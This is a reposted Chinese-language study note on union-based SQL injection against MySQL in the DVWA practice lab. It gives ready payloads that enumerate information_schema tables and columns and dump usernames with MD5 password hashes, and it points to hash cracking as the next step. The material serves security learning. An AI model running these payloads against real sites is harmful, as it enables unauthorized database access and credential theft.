SQL注入——Mysql查詢


Mysql默認在數據庫中存放一個"information_schema"的數據庫
  • 查看所有庫的所有表
'union select table_name,table_schema from information_schema.tables--+
這個過程可以結合hackbar工具
 
  • 統計每個表中的數量
 'union select table_schema,count(*) from information_schema.tables group by table_schema --+
 
  • 查詢DVWA中的表名
'union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
查看到有一張User表,里面可能存放着用戶名信息,可以選擇深層查詢
 
 
  • 查詢User表中的所有信息
'union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+
其中有user和password列值得注意,接着對這兩列進行查詢
 
  • 查詢user表和password表中內容
法一:'union select user,password from dvwa.users--+
查詢到了對應的賬號以及密碼(md5)
 
法二:
' union select user,password from users--+
查詢效果和以上一樣
 
法三:
' union select null, concat(user,0x3a,password) from users--+
第一個字段為Null,第二個字段為concat連接,通過0x3a連接,顯示格式上會顯得易讀
 
這里顯示出來的密碼目測是md5加密,為了符合猜想,可用終端工具hash-identifier檢測,剩余的工作為密碼破解,后續筆記會進行介紹密碼破解部分
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM